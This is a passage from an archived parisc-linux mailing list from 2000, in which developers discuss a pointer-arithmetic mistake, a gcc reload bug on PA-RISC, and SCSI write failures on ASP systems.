>         }
>         return i;
> }

Just changed it to 'table += 64' and it still generates code that
adds 4096, so sizeof is not relevant.

Richard


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64 gcc sizeof() bug?
Date: Wed, 6 Dec 2000 12:44:16 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20001206124416.V7166@linuxcare.com>
References: <20001206115203.Q7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619400 8181 80.91.229.3 (22 Nov 2014 01:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Wed Dec  6 05:46:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA13649
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 05:46:19 -0700
Original-Received: (qmail 15901 invoked by uid 15267); 6 Dec 2000 12:48:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15890 invoked from network); 6 Dec 2000 12:48:56 -0000
Original-Received: from sleepie.demon.co.uk (HELO rhirst.linuxcare.com) (194.222.23.208)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 12:48:56 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 589CCB005; Wed,  6 Dec 2000 12:44:16 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001206115203.Q7166@linuxcare.com>; from rhirst@linuxcare.com on Wed, Dec 06, 2000 at 11:52:03AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:8790

On Wed, Dec 06, 2000 at 11:52:03AM +0000, Richard Hirst wrote:
> Hi Alan,
>   The following shows the compiler getting confused over the size
> of a struct.  This is with a gcc/binutils built since the last
> fix you did for me.

As Alan has kindly pointed out to me, I goofed.  In my defence, I
did copy the garbage code from the sparc64 port ;)

Richard


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa64 gcc sizeof() bug?
Date: Wed, 06 Dec 2000 10:28:12 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <200012061828.KAA06072@milano.cup.hp.com>
References: <20001206121855.S7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619400 8183 80.91.229.3 (22 Nov 2014 01:23:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:20 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Wed Dec  6 11:25:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17274
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 11:25:05 -0700
Original-Received: (qmail 24348 invoked by uid 15267); 6 Dec 2000 18:27:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24286 invoked from network); 6 Dec 2000 18:27:38 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 18:27:38 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 08FBF429; Wed,  6 Dec 2000 10:27:37 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA06072;
	Wed, 6 Dec 2000 10:28:14 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 06 Dec 2000 12:18:55 PST."
             <20001206121855.S7166@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8791

Richard Hirst wrote:

> > int sys32_get_kernel_syms(struct kernel_sym32 *table)
...
> Just changed it to 'table += 64' and it still generates code that
> adds 4096, so sizeof is not relevant.

Right. sizeof() works fine.
table points to something that is 4096/64 (64 bytes) in size.
table+=1 results in adding 4096/64 to table.
The code should read "((char *) table) += 64" or "table++".

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Sorry
Date: Wed, 06 Dec 2000 10:46:00 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200012061846.KAA06115@milano.cup.hp.com>
References: <3A2E0F6B.F03B2BA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619401 8187 80.91.229.3 (22 Nov 2014 01:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:21 +0000 (UTC)
Cc: Puffin Group <parisc-linux@thepuffingroup.com>
To: Thomas Marteaut <marteaut@esiee.fr>
Original-X-From: grundler@cup.hp.com  Wed Dec  6 11:43:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA17738
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 11:43:10 -0700
Original-Received: (qmail 20965 invoked by uid 15267); 6 Dec 2000 18:45:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20567 invoked from network); 6 Dec 2000 18:45:36 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 18:45:36 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 58082EB4; Wed,  6 Dec 2000 10:45:31 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA06115;
	Wed, 6 Dec 2000 10:46:04 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 06 Dec 2000 11:05:31 PST."
             <3A2E0F6B.F03B2BA@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:8792

Thomas Marteaut wrote:
> Hi all,
> 
> 	I am sorry for the last message.

np. You followed up with an explanation in english.

> Helge, you can notice that now, on our 712, led DISPLAY is at
> 0x00000000! 

Could be a hint the 712 has no external LED's?


> And the RTC does print Cannot access the Hardware Clock via any method
> on both machines!

"RTC" here is hwclock program.
Is CONFIG_GENRTC enabled?
It is by default for 32-bit kernels but not yet for 64-bit.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: Thu, 6 May 1999 01:38:50 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990506013644.25834B-100000@devserv.devel.redhat.com>
References: <19990506053931.13099@insula.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619401 8189 80.91.229.3 (22 Nov 2014 01:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Original-X-From: adevries@redhat.com  Thu Apr 29 21:55:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA23620
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 21:55:17 -0600
Original-Received: (qmail 14726 invoked by uid 15267); 6 May 1999 05:36:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14719 invoked from network); 6 May 1999 05:36:49 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 05:36:49 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA06952;
	Thu, 6 May 1999 01:38:50 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
In-Reply-To: <19990506053931.13099@insula.local>
Xref: news.gmane.org gmane.linux.ports.parisc:8793


On Thu, 6 May 1999, Philipp Rumpf wrote:
> 
> Where are the bootloader sources atm ?
> 

Jason's sources are at:

ftp://puffin.external.hp.com/pub/parisc/src/boot_rel_0.2.tar.gz

I'm not quite sure how complete they are.  The pain is that because of our
lack of ELF32 in binutils these really need to be linked on an HPUX box.

The Puffin Group is working with HP to have a box called
puffinpa.external.hp.com to act first as an HPUX build machine to solve
the problem of not everyone having access to HPUX yet.

- Alex




From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 6 Dec 2000 15:41:06 -0500 (EST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200012062041.PAA21573@hiauly1.hia.nrc.ca>
References: <200012051942.OAA24760@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619401 8196 80.91.229.3 (22 Nov 2014 01:23:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:21 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec  6 13:39:03 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA21895
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 13:39:03 -0700
Original-Received: (qmail 16036 invoked by uid 15267); 6 Dec 2000 20:41:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16017 invoked from network); 6 Dec 2000 20:41:36 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 20:41:36 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id PAA21573;
	Wed, 6 Dec 2000 15:41:07 -0500 (EST)
In-Reply-To: <200012051942.OAA24760@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 5, 2000 02:42:50 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8794

> > stage1/xgcc -Bstage1/ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -c  -DIN_GCC    -g -O3 -fPIC -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I../../gcc -I../../gcc/. -I../../gcc/config -I../../gcc/../include ../../gcc/c-typeck.c -o c-typeck.o
> > ../../gcc/c-typeck.c: In function `really_start_incremental_init':
> > ../../gcc/c-typeck.c:5180: output_operand: invalid expression as operand
> > ../../gcc/c-typeck.c:5180: Internal compiler error in output_operand_lossage, at final.c:3397
> > confused by earlier errors, bailing out
> 
> This error results from the following substitution which occurs in the
> "lreg" pass.  Here is the "lreg" rtl:
> 
> (insn 67 926 927 (set (reg/f:SI 107)
>         (mem/u:SI (lo_sum:SI (reg/f:SI 309)
>                 (unspec:SI[
>                         (symbol_ref:SI ("constructor_max_index"))
> 		    ]  0)) 0)) 82 {*pa.md:2352} (insn_list 65 (nil))
>     (expr_list:REG_EQUIV (mem/u:SI (lo_sum:SI (reg/f:SI 309)
> 		(unspec:SI[
> 			(symbol_ref:SI ("constructor_max_index"))
> 		    ]  0)) 0)
>         (expr_list:REG_DEAD (reg/f:SI 309)
>             (nil))))
> 
> ...
> 
> (insn 569 619 627 (set (reg/f:SI 232)
>         (reg/f:SI 107)) 69 {*pa.md:2099} (nil)
>     (expr_list:REG_DEAD (reg/f:SI 107)
>         (nil)))
> 
> Then, after the "greg" pass we get for insn 569:
> 
> (insn 569 619 627 (set (reg/f:SI 21 %r21)
>         (mem/u:SI (lo_sum:SI (reg/f:SI 8 %r8)
> 		(unspec:SI[
> 			(symbol_ref:SI ("constructor_max_index"))
> 		    ]  0)) 0)) 69 {*pa.md:2099} (nil)
>     (nil))

After further investigation, this appears to be a reload problem.  Reload
substitutes the mem for psuedo 107 because reg_equiv_mem[107] is set
to the above mem rtx and reg_renumber[107] = -1 (ie, there is no hard register
for the psuedo).  The function strict_memory_address_p is used to check
whether the the memory address is valid for the mode.  This uses
GO_IF_LEGITIMATE_ADDRESS.  The address is legit so reg_equiv_mem[107] gets
set.  The problem is reload doesn't appear to check if the insns resulting
from the substitution still match the conditions for the insn.  If it did,
it would find that the substituted mem is not a valid move_operand.

Any thoughts on what is the best approach to fix this?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <danne@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI on ASP systems
Date: Thu, 7 Dec 2000 00:23:00 +0100 (CET)
Lines: 54
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012070011280.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619402 8198 80.91.229.3 (22 Nov 2014 01:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:22 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: danne@telia.com  Wed Dec  6 16:20:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA23376
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 16:20:42 -0700
Original-Received: (qmail 31013 invoked by uid 15267); 6 Dec 2000 23:23:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30981 invoked from network); 6 Dec 2000 23:23:13 -0000
Original-Received: from mailg.telia.com (root@194.22.194.26)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 23:23:13 -0000
Original-Received: from zaphod.halden.lillfab.se (t1o70p60.telia.com [62.20.148.60])
	by mailg.telia.com (8.9.3/8.9.3) with ESMTP id AAA00655
	for <parisc-linux@thepuffingroup.com>; Thu, 7 Dec 2000 00:23:04 +0100 (CET)
Original-Received: from localhost (danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) with ESMTP id AAA29108
	for <parisc-linux@thepuffingroup.com>; Thu, 7 Dec 2000 00:23:00 +0100
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id QAA23376
Xref: news.gmane.org gmane.linux.ports.parisc:8795

As noted earlier SCSI (sim700) don not work on systems with an ASP. Below
is some of the error messages I get. It seems to fail on the first write
command (read commands seem to work). I dont have any idea how the 53c700
is supposed to work and I cant find any docs on the net. Does anyone on
the list have any idea?

/Daniel


# palo -I \
> -b boot/iplboot \
> -k boot/vmlinux /dev/sda
palo version 0.8 bame@noam Tue Oct 31 14:18:23 MST 2000
F0 partition start sector 62 length 36766
check_bootloader 181
ipl: addr 32768 size 24576 entry 0x0 ko 0 ksz 0 rdo 0 rdsz 0
<..>
scsi0: Phase mismatch, phase MSGIN (7) at script[0x31b]
Write (10) 00 00 00 03 c0 00 00 80 00
scsi0: DOUT sg 117, old 02ac4c00/00000400, new 02ac4e00/00000200 (32)
scsi0: Serious error, sstat0 = 04
scsi0: Chip register contents:
 (script[0] at virt c2fa0000, bus 2fa0000)
 00  sien:  af  sdid:  20  scntl1:20  scntl0:d4
 04  socl:  06  sodl:  00  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:06  sstat1:00  sstat0:00  dstat: 00
 10
 14  ctest3:21  ctest2:35  ctest1:0b  ctest0:00
 18  ctest7:00  ctest6:99  ctest5:00  ctest4:00
 1C  temp:  00000000
 20              ctest8:ff  istat: 06  dfifo: 00
 24  dbc:   0e000001  dnad:  02fa5cde  dsp:   02fa5038
 30  dsps:  02fa5cde
 34  dmode: 80
 38  dcntl: 80  dwt:   00  dien:  1d
 3C
scsi0: Unexpected stacked interrupt, istat 06, sstat0 08, dstat 00             p
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI bus and
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 02fa5038 (script[0x140e]), dsps = 02fa5cde, target = 0
scsi0: Failing command for ID5
scsi0: sim700_intr_handle() called with no interrupt
scsi0: Negotiating async transfers for ID 5
scsi0: Response to host SDTR = 00 00
scsi0: Phase mismatch, phase STATUSIN (3) at script[0x22d]
Request Sense 00 00 00 ff 00
scsi0: DIN sg 127, old 02fa8a00/00000100, new 02fa8a12/000000ee (0)
scsi0: Phase mismatch, phase MSGIN (7) at script[0x321]
Write (10) 00 00 00 08 40 00 00 80 00
scsi0: DOUT sg 120, old 029a0800/00000400, new 029a0a00/00000200 (32)
SCSI disk error : host 0 channel 0 id 5 lun 0 return code = 10
 I/O error: dev 08:00, sector 2112


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI on ASP systems
Date: Wed, 06 Dec 2000 15:34:37 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <200012062334.PAA06692@milano.cup.hp.com>
References: <Pine.LNX.4.21.0012070011280.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619402 8202 80.91.229.3 (22 Nov 2014 01:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, grundler@milano.cup.hp.com
To: Daniel Engstrom <danne@telia.com>
Original-X-From: grundler@cup.hp.com  Wed Dec  6 16:31:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA23912
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 16:31:47 -0700
Original-Received: (qmail 13232 invoked by uid 15267); 6 Dec 2000 23:34:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13213 invoked from network); 6 Dec 2000 23:34:24 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 23:34:24 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id AFFC0597; Wed,  6 Dec 2000 15:34:13 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA06692;
	Wed, 6 Dec 2000 15:34:49 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 07 Dec 2000 00:23:00 PST."
             <Pine.LNX.4.21.0012070011280.8673-100000@zaphod.halden.lillfab.se> 
Xref: news.gmane.org gmane.linux.ports.parisc:8796

Daniel Engstrom wrote:
> I dont have any idea how the 53c700
> is supposed to work and I cant find any docs on the net.

And you've looked at the LASI docs off the www.parisc-linux.org?

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI on ASP systems
Date: Wed, 6 Dec 2000 23:47:26 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20001206234726.C7166@linuxcare.com>
References: <Pine.LNX.4.21.0012070011280.8673-100000@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619402 8204 80.91.229.3 (22 Nov 2014 01:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:22 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Daniel Engstrom <danne@telia.com>
Original-X-From: rhirst@linuxcare.com  Wed Dec  6 16:49:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA24522
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 16:49:34 -0700
Original-Received: (qmail 3942 invoked by uid 15267); 6 Dec 2000 23:52:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3895 invoked from network); 6 Dec 2000 23:52:10 -0000
Original-Received: from user-78-55.jakinternet.co.uk (HELO rhirst.linuxcare.com) (194.88.78.55)
  by mailserv2.iuinc.com with SMTP; 6 Dec 2000 23:52:10 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 13494B005; Wed,  6 Dec 2000 23:47:27 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0012070011280.8673-100000@zaphod.halden.lillfab.se>; from danne@telia.com on Thu, Dec 07, 2000 at 12:23:00AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:8797

On Thu, Dec 07, 2000 at 12:23:00AM +0100, Daniel Engstrom wrote:
> As noted earlier SCSI (sim700) don not work on systems with an ASP. Below
> is some of the error messages I get. It seems to fail on the first write
> command (read commands seem to work). I dont have any idea how the 53c700
> is supposed to work and I cant find any docs on the net. Does anyone on
> the list have any idea?
> 
> /Daniel
> 
> 
> # palo -I \
> > -b boot/iplboot \
> > -k boot/vmlinux /dev/sda

Can you try adding

	sim700=noneg:0xff,nodisc:0xff

to your boot comamnd line and let me know what happens.

If that fails after very little disk activity, you could try

	sim700=noneg:0xff,nodisc:0xff,debug:0x2ff

and send me the (large) debug output.

Looks like oyur disk is disconnecting after an odd number of sectors,
which might be unusual.

Richard


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 6 Dec 2000 16:16:27 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20001206161627.C1272@redhat.com>
References: <200012051942.OAA24760@hiauly1.hia.nrc.ca> <200012062041.PAA21573@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619403 8209 80.91.229.3 (22 Nov 2014 01:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:23 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: rth@cygnus.com  Wed Dec  6 17:13:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA25339
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 17:13:58 -0700
Original-Received: (qmail 1942 invoked by uid 15267); 7 Dec 2000 00:16:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1923 invoked from network); 7 Dec 2000 00:16:35 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 00:16:35 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id QAA24048;
	Wed, 6 Dec 2000 16:16:27 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id QAA01331; Wed, 6 Dec 2000 16:16:27 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <200012062041.PAA21573@hiauly1.hia.nrc.ca>; from John David Anglin on Wed, Dec 06, 2000 at 03:41:06PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8798

On Wed, Dec 06, 2000 at 03:41:06PM -0500, John David Anglin wrote:
> >     (expr_list:REG_EQUIV (mem/u:SI (lo_sum:SI (reg/f:SI 309)
> > 		(unspec:SI[
> > 			(symbol_ref:SI ("constructor_max_index"))
> > 		    ]  0)) 0)

This appears to be the same sort of bug as in compile/20001205-1.c
except that an unspec is involved instead of an asm_operands.

I wonder if the best solution is to avoid local-alloc creating
REG_EQUIV notes for every little thing under the sun.  Allow
only general_operand or something.


r~


From - Thu Nov 08 21:14:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Wed, 6 Dec 2000 19:57:49 -0500 (EST)
Lines: 68
Approved: news@gmane.org
Message-ID: <200012070057.TAA28741@hiauly1.hia.nrc.ca>
References: <20001206161627.C1272@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619403 8212 80.91.229.3 (22 Nov 2014 01:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:23 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-bugs@gcc.gnu.org
To: rth@redhat.com (Richard Henderson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Dec  6 17:55:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA26190
	for <parisc-linux@puffin.external.hp.com>; Wed, 6 Dec 2000 17:55:51 -0700
Original-Received: (qmail 18750 invoked by uid 15267); 7 Dec 2000 00:58:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18734 invoked from network); 7 Dec 2000 00:58:12 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 7 Dec 2000 00:58:12 -0000
